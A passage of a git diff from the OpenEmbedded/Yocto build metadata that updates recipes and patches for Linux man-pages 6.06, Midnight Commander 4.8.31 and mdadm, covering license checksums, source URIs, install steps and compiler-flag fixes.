-ALTERNATIVE_${PN} = "passwd.5 getspnam.3 crypt.3"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
-ALTERNATIVE_LINK_NAME[crypt.3] = "${mandir}/man3/crypt.3"
diff --git a/meta/recipes-extended/man-pages/man-pages_6.06.bb b/meta/recipes-extended/man-pages/man-pages_6.06.bb
new file mode 100644
index 0000000000..0f091bbd7d
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages_6.06.bb
@@ -0,0 +1,50 @@
+SUMMARY = "Linux man-pages"
+DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
+SECTION = "console/utils"
+HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
+LICENSE = "GPL-2.0-or-later & GPL-2.0-only & GPL-1.0-or-later & BSD-2-Clause & BSD-3-Clause & BSD-4-Clause & MIT"
+
+LIC_FILES_CHKSUM = "file://README;md5=72cff06b7954222c24d38bc2c41b234e \
+ file://LICENSES/BSD-2-Clause.txt;md5=9e16594a228301089d759b4f178db91f \
+ file://LICENSES/BSD-3-Clause.txt;md5=407426fcc1a243b7b2eff6e35c56aca9 \
+ file://LICENSES/BSD-4-Clause-UC.txt;md5=1da3cf8ad50cd8d5d1de3cfc53196d01 \
+ file://LICENSES/GPL-1.0-or-later.txt;md5=e5b7c80002ef72ab868b43ce47b65125 \
+ file://LICENSES/GPL-2.0-only.txt;md5=3d26203303a722dedc6bf909d95ba815 \
+ file://LICENSES/GPL-2.0-or-later.txt;md5=3d26203303a722dedc6bf909d95ba815 \
+ file://LICENSES/Linux-man-pages-1-para.txt;md5=97ab07585ce6700273bc66461bf46bf2 \
+ file://LICENSES/Linux-man-pages-copyleft-2-para.txt;md5=1cafc230857da5e43f3d509c425d3c64 \
+ file://LICENSES/Linux-man-pages-copyleft.txt;md5=173b960c686ff2d26f043ddaeb63f6ce \
+ file://LICENSES/Linux-man-pages-copyleft-var.txt;md5=d33708712c5918521f47f23b0c4e0d20 \
+ file://LICENSES/MIT.txt;md5=7dda4e90ded66ab88b86f76169f28663 \
+ "
+SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz \
+ file://0001-man.ml-do-not-use-dev-stdin.patch \
+ file://0001-GNUmakefile-use-env-from-PATH.patch \
+ "
+
+SRC_URI[sha256sum] = "006906e7be81a71c2d347809597bcb91485fa7fa488acdaa79e681ddfa894568"
+
+inherit manpages
+
+# can be dropped when ubuntu 18.04 is not in use anymore
+DEPENDS += "coreutils-native"
+
+MAN_PKG = "${PN}"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[manpages] = ""
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+do_install() {
+ oe_runmake install prefix=${prefix} DESTDIR=${D}
+ rm -rf ${D}${mandir}/man3/crypt.3
+ rm -rf ${D}${mandir}/man3/crypt_r.3
+ rm -rf ${D}${mandir}/man3/getspnam.3
+ rm -rf ${D}${mandir}/man5/passwd.5
+}
+
+# Only deliveres man-pages so FILES:${PN} gets everything
+FILES:${PN}-doc = ""
+FILES:${PN} = "${mandir}/*"
diff --git a/meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch b/meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch
deleted file mode 100644
index 824c12f8d2..0000000000
--- a/meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From 58dd59637ac5c6340ddfe96ad8b76883e4da20ef Mon Sep 17 00:00:00 2001
-From: Sergei Trofimovich <slyfox@gentoo.org>
-Date: Tue, 3 Mar 2020 09:26:12 +0000
-Subject: [PATCH] Ticket #4070: misc/Makefile.am: install mc.lib only once.
-
-Before the change mc.lib was installed twice due to being
-in two _DATA variables:
-
-dist_pkgdata_DATA = \
- mc.lib
-
-pkgdata_DATA = \
- $(dist_pkgdata_DATA) \
- $(PKGDATA_OUT)
-
-This causes occasional install failures when two parallel
-`/usr/bin/install` calls race in installing the file:
-
-$ make -j20 DESTDIR=/var/tmp/portage/app-misc/mc-4.8.24/image install
-...
- /usr/lib/portage/python3.6/ebuild-helpers/xattr/install \
- -c -m 644 mc.lib '/var/tmp/portage/app-misc/mc-4.8.24/image/usr/share/mc'
- /usr/lib/portage/python3.6/ebuild-helpers/xattr/install \
- -c -m 644 mc.lib mc.charsets '/var/tmp/portage/app-misc/mc-4.8.24/image/usr/share/mc'
-...
- /usr/bin/install: cannot create regular file
- '/var/tmp/portage/app-misc/mc-4.8.24/image/usr/share/mc/mc.lib': File exists
-
-After the change mc.lib is present only in dist_pkgdata_DATA.
-
-Upstream-Status: Backport [https://github.com/MidnightCommander/mc/commit/afb09f7cd7024484845ade25e15b8b93d6cf2d2c]
-
-Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
-Signed-off-by: Andrew Borodin <aborodin@vmail.ru>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- misc/Makefile.am | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/misc/Makefile.am b/misc/Makefile.am
-index 8ed1826..24f4a0e 100644
---- a/misc/Makefile.am
-+++ b/misc/Makefile.am
-@@ -17,7 +17,6 @@ dist_pkgdata_DATA = \
- mc.lib
-
- pkgdata_DATA = \
-- $(dist_pkgdata_DATA) \
- $(PKGDATA_OUT)
-
- SCRIPTS_IN = \
-@@ -54,7 +53,6 @@ EXTRA_DIST = \
- $(LIBFILES_SCRIPT) \
- $(SCRIPTS_IN) \
- $(noinst_DATA) \
-- $(dist_pkgdata_DATA) \
- $(PKGDATA_IN)
-
- install-data-hook:
diff --git a/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch b/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch
deleted file mode 100644
index bf8037cd28..0000000000
--- a/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch
+++ /dev/null
@@ -1,129 +0,0 @@
-From cdc7c278212ae836eecb4cc9d42c29443cc128a0 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 6 Apr 2017 02:24:28 -0700
-Subject: [PATCH] mc: replace "perl -w" with "use warnings"
-
-The shebang's max length is usually 128 as defined in
-/usr/include/linux/binfmts.h:
- #define BINPRM_BUF_SIZE 128
-
-There would be errors when @PERL@ is longer than 128, use
-'/usr/bin/env perl' can fix the problem, but '/usr/bin/env perl -w'
-doesn't work:
-
-/usr/bin/env: perl -w: No such file or directory
-
-So replace "perl -w" with "use warnings" to make it work.
-
-The man2hlp.in already has "use warnings;", so just remove '-w' is OK.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- src/man2hlp/man2hlp.in | 2 +-
- src/vfs/extfs/helpers/a+.in | 4 +++-
- src/vfs/extfs/helpers/mailfs.in | 3 ++-
- src/vfs/extfs/helpers/patchfs.in | 3 ++-
- src/vfs/extfs/helpers/ulib.in | 4 +++-
- src/vfs/extfs/helpers/uzip.in | 3 ++-
- 6 files changed, 13 insertions(+), 6 deletions(-)
-
-diff --git a/src/man2hlp/man2hlp.in b/src/man2hlp/man2hlp.in
-index f095830..558a674 100644
---- a/src/man2hlp/man2hlp.in
-+++ b/src/man2hlp/man2hlp.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # Man page to help file converter
- # Copyright (C) 1994, 1995, 1998, 2000, 2001, 2002, 2003, 2004, 2005,
-diff --git a/src/vfs/extfs/helpers/a+.in b/src/vfs/extfs/helpers/a+.in
-index 579441c..fe446f4 100644
---- a/src/vfs/extfs/helpers/a+.in
-+++ b/src/vfs/extfs/helpers/a+.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # External filesystem for mc, using mtools
- # Written Ludek Brukner <lubr@barco.cz>, 1997
-@@ -9,6 +9,8 @@
-
- # These mtools components must be in PATH for this to work
-
-+use warnings;
-+
- sub quote {
- $_ = shift(@_);
- s/([^\w\/.+-])/\\$1/g;
-diff --git a/src/vfs/extfs/helpers/mailfs.in b/src/vfs/extfs/helpers/mailfs.in
-index e9455be..059f41f 100644
---- a/src/vfs/extfs/helpers/mailfs.in
-+++ b/src/vfs/extfs/helpers/mailfs.in
-@@ -1,6 +1,7 @@
--#! @PERL@ -w
-+#! @PERL@
-
- use bytes;
-+use warnings;
-
- # MC extfs for (possibly compressed) Berkeley style mailbox files
- # Peter Daum <gator@cs.tu-berlin.de> (Jan 1998, mc-4.1.24)
-diff --git a/src/vfs/extfs/helpers/patchfs.in b/src/vfs/extfs/helpers/patchfs.in
-index ef407de..3ad4b53 100644
---- a/src/vfs/extfs/helpers/patchfs.in
-+++ b/src/vfs/extfs/helpers/patchfs.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # Written by Adam Byrtek <alpha@debian.org>, 2002
- # Rewritten by David Sterba <dave@jikos.cz>, 2009
-@@ -9,6 +9,7 @@
-
- use bytes;
- use strict;
-+use warnings;
- use POSIX;
- use File::Temp 'tempfile';
-
-diff --git a/src/vfs/extfs/helpers/ulib.in b/src/vfs/extfs/helpers/ulib.in
-index 418611f..82c7ccf 100644
---- a/src/vfs/extfs/helpers/ulib.in
-+++ b/src/vfs/extfs/helpers/ulib.in
-@@ -1,9 +1,11 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # VFS to manage the gputils archives.
- # Written by Molnár Károly (proton7@freemail.hu) 2012
- #
-
-+use warnings;
-+
- my %month = ('jan' => '01', 'feb' => '02', 'mar' => '03',
- 'apr' => '04', 'may' => '05', 'jun' => '06',
- 'jul' => '07', 'aug' => '08', 'sep' => '09',
-diff --git a/src/vfs/extfs/helpers/uzip.in b/src/vfs/extfs/helpers/uzip.in
-index b1c4f90..c8eb335 100644
---- a/src/vfs/extfs/helpers/uzip.in
-+++ b/src/vfs/extfs/helpers/uzip.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # zip file archive Virtual File System for Midnight Commander
- # Version 1.4.0 (2001-08-07).
-@@ -9,6 +9,7 @@
- use POSIX;
- use File::Basename;
- use strict;
-+use warnings;
-
- #
- # Configuration options
---
-2.10.2
-
diff --git a/meta/recipes-extended/mc/files/nomandate.patch b/meta/recipes-extended/mc/files/nomandate.patch
index 48bd73b110..92fa443865 100644
--- a/meta/recipes-extended/mc/files/nomandate.patch
+++ b/meta/recipes-extended/mc/files/nomandate.patch
@@ -1,21 +1,32 @@
+From 78c5fd90a052f95157b3914c708a08b2eeab0154 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 4 Feb 2020 18:12:15 +0000
+Subject: [PATCH] mc: Fix manpage date indeterminism
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
The man page date can vary depending upon the host perl, e.g. in Russian
some versions print 'июня', others 'Июнь' or Polish 'czerwca' or 'czerwiec'.
-Rather than depend upon perl-native to fix this, just remove the date from
+Rather than depend upon perl-native to fix this, just remove the date from
the manpages.
RP 2020/2/4
Upstream-Status: Inappropriate [OE specficic reproducibility workaround]
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ doc/man/date-of-man-include.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
-Index: mc-4.8.23/doc/man/date-of-man-include.am
-===================================================================
---- mc-4.8.23.orig/doc/man/date-of-man-include.am
-+++ mc-4.8.23/doc/man/date-of-man-include.am
+diff --git a/doc/man/date-of-man-include.am b/doc/man/date-of-man-include.am
+index 96f9f10..d734c5d 100644
+--- a/doc/man/date-of-man-include.am
++++ b/doc/man/date-of-man-include.am
@@ -1,5 +1,5 @@
SED_PARAMETERS = \
- -e "s/%DATE_OF_MAN_PAGE%/$${MAN_DATE}/g" \
+ -e "s/%DATE_OF_MAN_PAGE%//g" \
- -e "s/%DISTR_VERSION%/@DISTR_VERSION@/g" \
- -e "s{%prefix%{@prefix@{g" \
+ -e "s/%MAN_VERSION%/@MAN_VERSION@/g" \
-e "s{%sysconfdir%{@sysconfdir@{g" \
+ -e "s{%libexecdir%{@libexecdir@{g" \
diff --git a/meta/recipes-extended/mc/mc_4.8.24.bb b/meta/recipes-extended/mc/mc_4.8.24.bb
deleted file mode 100644
index 034df2a422..0000000000
--- a/meta/recipes-extended/mc/mc_4.8.24.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "Midnight Commander is an ncurses based file manager"
-HOMEPAGE = "http://www.midnight-commander.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
-SECTION = "console/utils"
-DEPENDS = "ncurses glib-2.0 util-linux"
-RDEPENDS_${PN} = "ncurses-terminfo-base"
-RRECOMMENDS_${PN} = "ncurses-terminfo"
-
-SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
- file://0001-mc-replace-perl-w-with-use-warnings.patch \
- file://nomandate.patch \
- file://0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch \
- "
-SRC_URI[md5sum] = "2621de1fa9058a9c41a4248becc969f9"
-SRC_URI[sha256sum] = "cfcc4d0546d0c3a88645a8bf71612ed36647ea3264d973b1f28183a0c84bae34"
-
-inherit autotools gettext pkgconfig
-
-#
-# Both Samba (smb) and sftp require package delivered from meta-openembedded
-#
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[smb] = "--enable-vfs-smb,--disable-vfs-smb,samba,"
-PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
-
-EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
-CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
-CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
-CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
-
-do_install_append () {
- sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
-
- rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
-}
-
-PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-fish"
-
-SUMMARY_${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
-FILES_${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
- ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
- ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
- ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
- ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
- ${libexecdir}/mc/extfs.d/uzip"
-RDEPENDS_${BPN}-helpers-perl = "perl"
-
-SUMMARY_${BPN}-helpers = "Midnight Commander shell helper scripts"
-FILES_${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
-
-SUMMARY_${BPN}-fish = "Midnight Commander Fish scripts"
-FILES_${BPN}-fish = "${libexecdir}/mc/fish"
diff --git a/meta/recipes-extended/mc/mc_4.8.31.bb b/meta/recipes-extended/mc/mc_4.8.31.bb
new file mode 100644
index 0000000000..69c32887a2
--- /dev/null
+++ b/meta/recipes-extended/mc/mc_4.8.31.bb
@@ -0,0 +1,57 @@
+SUMMARY = "Midnight Commander is an ncurses based file manager"
+HOMEPAGE = "http://www.midnight-commander.org/"
+DESCRIPTION = "GNU Midnight Commander is a visual file manager, licensed under GNU General Public License and therefore qualifies as Free Software. It's a feature rich full-screen text mode application that allows you to copy, move and delete files and whole directory trees, search for files and run commands in the subshell. Internal viewer and editor are included."
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
+SECTION = "console/utils"
+DEPENDS = "ncurses glib-2.0 util-linux file-replacement-native"
+RDEPENDS:${PN} = "ncurses-terminfo-base"
+RRECOMMENDS:${PN} = "ncurses-terminfo"
+
+SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
+ file://nomandate.patch \
+ "
+SRC_URI[sha256sum] = "f42f4114ed42f6cf9995f1d896fa6c797ccb36dac57760dda8dd9f78ac462841"
+
+inherit autotools gettext pkgconfig
+
+#
+# Both Samba (smb) and sftp require package delivered from meta-openembedded
+#
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
+
+# enable NCURSES_WIDECHAR=1 only if ENABLE_WIDEC has not been explicitly disabled (e.g. by the distro config).
+# When compiling against the ncurses library, NCURSES_WIDECHAR needs to explicitly set to 0 in this case.
+CFLAGS:append:libc-musl = "${@' -DNCURSES_WIDECHAR=1' if bb.utils.to_boolean((d.getVar('ENABLE_WIDEC') or 'True')) else ' -DNCURSES_WIDECHAR=0'}"
+EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
+EXTRANATIVEPATH += "file-native"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL_FOR_BUILD='/usr/bin/env perl'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
+CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
+CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
+
+do_install:append () {
+ sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
+
+ rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
+}
+
+PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-shell"
+
+SUMMARY:${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
+FILES:${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
+ ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
+ ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
+ ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
+ ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
+ ${libexecdir}/mc/extfs.d/uzip"
+RDEPENDS:${BPN}-helpers-perl = "perl"
+
+SUMMARY:${BPN}-helpers = "Midnight Commander shell helper scripts"
+FILES:${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
+
+SUMMARY:${BPN}-shell = "Midnight Commander Shell scripts"
+FILES:${BPN}-shell = "${libexecdir}/mc/shell"
diff --git a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch b/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch
deleted file mode 100644
index 803a59b3ec..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From b273e892bd6aaafe448f84356abb78a6d463e784 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 7 Dec 2018 17:22:39 -0800
-Subject: [PATCH] Compute abs diff in a standard compliant way
-
-This make it a bit less implementation defined and silences clang
-warning -Wabsolute-value
-
-| super-intel.c:2822:20: error: taking the absolute value of unsigned type 'unsi
-gned long long' has no effect [-Werror,-Wabsolute-value]
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- super-intel.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/super-intel.c b/super-intel.c
-index 6438987..10d7218 100644
---- a/super-intel.c
-+++ b/super-intel.c
-@@ -2819,7 +2819,7 @@ static unsigned long long calc_component_size(struct imsm_map *map,
- * 2048 blocks per each device. If the difference is higher it means
- * that array size was expanded and num_data_stripes was not updated.
- */
-- if ((unsigned int)abs(calc_dev_size - dev_size) >
-+ if ((unsigned int)abs((int)calc_dev_size - (int)dev_size) >
- (1 << SECT_PER_MB_SHIFT) * member_disks) {
- component_size = dev_size / member_disks;
- dprintf("Invalid num_data_stripes in metadata; expected=%llu, found=%llu\n",
diff --git a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch b/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
index 298f276cd6..fa1f0aa520 100644
--- a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
@@ -1,4 +1,4 @@
-From a9166bf422da1001bac9cc819386bf39b7cd1b73 Mon Sep 17 00:00:00 2001
+From 76856a34a4e339e4a53b09d028f89fcc520e3127 Mon Sep 17 00:00:00 2001
From: "Maxin B. John" <maxin.john@intel.com>
Date: Tue, 9 Feb 2016 11:44:01 +0200
Subject: [PATCH] Fix the path of corosync and dlm header files check
@@ -9,16 +9,15 @@ Fix it.
Upstream-Status: Inappropriate [Yocto specific]
Signed-off-by: Maxin B. John <maxin.john@intel.com>
-
---
Makefile | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/Makefile b/Makefile
-index 2767ac6..46bf57b 100644
+index cbdba49..7bfd336 100644
--- a/Makefile
+++ b/Makefile
-@@ -91,8 +91,8 @@ FAILED_SLOTS_DIR = $(RUN_DIR)/failed-slots
+@@ -109,8 +109,8 @@ FAILED_SLOTS_DIR = $(RUN_DIR)/failed-slots
SYSTEMD_DIR=/lib/systemd/system
LIB_DIR=/usr/libexec/mdadm
diff --git a/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
new file mode 100644
index 0000000000..a4be1aa8a1
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
@@ -0,0 +1,27 @@
+From 0be066d57a7dd1aead5488d0a095863608f2e559 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 25 Jan 2022 16:25:01 +0800
+Subject: [PATCH] Makefile: install mdcheck
+
+The mdcheck_xxx.service files use mdcheck, but it's not installed.
+We need to install this script.
+
+Upstream-Status: Submitted [Sent patch to maintainer]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ Makefile | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/Makefile b/Makefile
+index 1141971..f4059e2 100644
+--- a/Makefile
++++ b/Makefile
+@@ -325,6 +325,7 @@ install-systemd: systemd/mdmon@.service
+ install-bin: mdadm mdmon
+ $(INSTALL) -D $(STRIP) -m 755 mdadm $(DESTDIR)$(BINDIR)/mdadm
+ $(INSTALL) -D $(STRIP) -m 755 mdmon $(DESTDIR)$(BINDIR)/mdmon
++ $(INSTALL) -D -m 755 misc/mdcheck $(DESTDIR)/usr/share/mdadm/mdcheck
+
+ uninstall:
+ rm -f $(DESTDIR)$(MAN8DIR)/mdadm.8 $(DESTDIR)$(MAN8DIR)/mdmon.8 $(DESTDIR)$(MAN4DIR)/md.4 $(DESTDIR)$(MAN5DIR)/mdadm.conf.5 $(DESTDIR)$(BINDIR)/mdadm
diff --git a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch b/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
deleted file mode 100644
index b196084a5c..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From 02a41c3fd560fb5250186dd6b3cff6b21daa2e2b Mon Sep 17 00:00:00 2001
-From: Mingli Yu <Mingli.Yu@windriver.com>
-Date: Mon, 15 Jul 2019 14:12:24 +0800
-Subject: [PATCH] Revert "tests: wait for complete rebuild in integrity checks"
-
-This reverts commit e2a8e9dcf67a28bc722fa5ab2c49b0bc452d4d74
-as the logic "check state 'U*'" will make the test enters
-infinite loop especially in qemu env, so revert it to
-use the previous logic "check wait" which also used
-commonly by other tests such as tests/02r5grow, tests/07revert-grow
-and etc.
-
-Upstream-Status: Submitted[https://marc.info/?l=linux-raid&m=156317157314030&w=2]
-
-Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
----
- tests/01r5integ | 2 +-
- tests/01raid6integ | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/tests/01r5integ b/tests/01r5integ
-index 48676a2..ffb30ce 100644
---- a/tests/01r5integ
-+++ b/tests/01r5integ
-@@ -27,7 +27,7 @@ do
- exit 1
- fi
- mdadm $md0 -a $i
-- while ! (check state 'U*'); do check wait; sleep 0.2; done
-+ check wait
- done
- mdadm -S $md0
- done
-diff --git a/tests/01raid6integ b/tests/01raid6integ
-index 12f4d81..c6fcdae 100644
---- a/tests/01raid6integ
-+++ b/tests/01raid6integ
-@@ -47,10 +47,10 @@ do
- exit 1
- fi
- mdadm $md0 -a $first
-- while ! (check state 'U*_U*'); do check wait; sleep 0.2; done
-+ check wait
- done
- mdadm $md0 -a $second
-- while ! (check state 'U*'); do check wait; sleep 0.2; done
-+ check wait
- totest="$totest $second"
- done
- mdadm -S $md0
---
-2.7.4
-
diff --git a/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch b/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
index 12bf6a5920..16fdefbbd1 100644
--- a/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
@@ -1,4 +1,4 @@
-From 37c35f94d9d95dbd2b5f8a919f5478be51453590 Mon Sep 17 00:00:00 2001
+From c29d086714b49a6d76ccca83b4a6fa2f139bad6e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 13 Oct 2017 10:27:34 -0700
Subject: [PATCH] Use CC to check for implicit-fallthrough warning support
@@ -10,19 +10,35 @@ cross compile used for compiling mdadm is < version 7
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Upstream-Status: Pending
---
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
+ Makefile | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/Makefile b/Makefile
-index 46bf57b..a075912 100644
+index 7bfd336..9ab6a65 100644
--- a/Makefile
+++ b/Makefile
-@@ -53,7 +53,7 @@ ifdef WARN_UNUSED
- CWFLAGS += -Wp,-D_FORTIFY_SOURCE=2 -O3
+@@ -56,21 +56,21 @@ CWFLAGS += -Wp -O3
endif
--FALLTHROUGH := $(shell gcc -v --help 2>&1 | grep "implicit-fallthrough" | wc -l)
-+FALLTHROUGH := $(shell ${CC} -v --help 2>&1 | grep "implicit-fallthrough" | wc -l)
- ifneq "$(FALLTHROUGH)" "0"
- CWFLAGS += -Wimplicit-fallthrough=0
+ ifeq ($(origin FALLTHROUGH), undefined)
+- FALLTHROUGH := $(shell gcc -Q --help=warnings 2>&1 | grep "implicit-fallthrough" | wc -l)
++ FALLTHROUGH := $(shell ${CC} -Q --help=warnings 2>&1 | grep "implicit-fallthrough" | wc -l)
+ ifneq "$(FALLTHROUGH)" "0"
+ CWFLAGS += -Wimplicit-fallthrough=0
+ endif
endif
+
+ ifeq ($(origin FORMATOVERFLOW), undefined)
+- FORMATOVERFLOW := $(shell gcc -Q --help=warnings 2>&1 | grep "format-overflow" | wc -l)
++ FORMATOVERFLOW := $(shell ${CC} -Q --help=warnings 2>&1 | grep "format-overflow" | wc -l)
+ ifneq "$(FORMATOVERFLOW)" "0"
+ CWFLAGS += -Wformat-overflow
+ endif
+ endif
+
+ ifeq ($(origin STRINGOPOVERFLOW), undefined)
+- STRINGOPOVERFLOW := $(shell gcc -Q --help=warnings 2>&1 | grep "stringop-overflow" | wc -l)
++ STRINGOPOVERFLOW := $(shell ${CC} -Q --help=warnings 2>&1 | grep "stringop-overflow" | wc -l)
+ ifneq "$(STRINGOPOVERFLOW)" "0"
+ CWFLAGS += -Wstringop-overflow
+ endif
diff --git a/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch b/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
index fa9c8cc835..3cf295106f 100644
--- a/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
+++ b/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
@@ -1,4 +1,4 @@
